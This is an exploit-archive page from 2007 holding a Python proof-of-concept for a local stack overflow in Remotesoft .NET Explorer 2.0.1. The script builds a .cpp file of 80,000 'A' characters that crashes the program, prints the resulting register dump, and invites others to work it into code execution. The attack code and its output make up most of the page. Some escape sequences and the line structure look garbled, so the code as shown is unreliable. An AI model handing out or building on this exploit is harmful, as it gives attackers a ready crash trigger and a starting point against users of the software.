[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Remotesoft .NET Explorer 2.0.1 Local Stack Overflow PoC
# Published : 2007-02-02
# Author : shinnai
# Previous Title : MS Internet Explorer 6 (mshtml.dll) Null Pointer Dereference Exploit
# Next Title : Chicken of the VNC 2.0 (NULL-pointer) Remote Denial of Service Exploit


#/usr/bin/ python
print "--------------------------------------------------------------"
print "Remotesoft .NET Explorer 2.0.1 Stack Overflow"
print "url: http://www.remotesoft.com/"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "soundtrack: Firestarter (Prodigy)"
print "--------------------------------------------------------------"

try:
   char = "x41" * 80000

   out_file = open('DotNet.cpp','wb')
   out_file.write(char)
   out_file.close()

   print "File succesfully created!nn"
   print "Here is a dump:"
   print "pid=0820 tid=08C0  EXCEPTION (unhandled)"
   print "----------------------------------------------------------------"
   print "Exception C00000FD (STACK_OVERFLOW)"
   print "----------------------------------------------------------------"
   print "EAX=00003551: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EBX=0012FA78: 01 00 00 00 00 00 00 00-00 77 05 00 00 00 00 00"
   print "ECX=00E523F0: 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41"
   print "EDX=782279A8: 55 8B EC FF 75 20 FF 75-1C FF 75 18 FF 75 14 FF"
   print "ESP=00032FE8: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00"
   print "EBP=0003351C: 48 35 03 00 76 D4 E4 77-84 12 01 5A 01 00 00 00"
   print "ESI=0000028B: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EDI=0000005E: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EIP=77E4885F: 53 8B 5D 14 F6 C7 20 89-45 FC 8B 45 08 89 8D E8"
   print "           --> PUSH EBX"
   print "----------------------------------------------------------------n"
   print "To see application crash, encrease the number of characters."
   print "I was unable to execute arbitrary code but I think someone better"
   print "than me can succesfully exploit it :Pn" except:
   print "Unable to create file!"

# www.Syue.com [2007-02-02]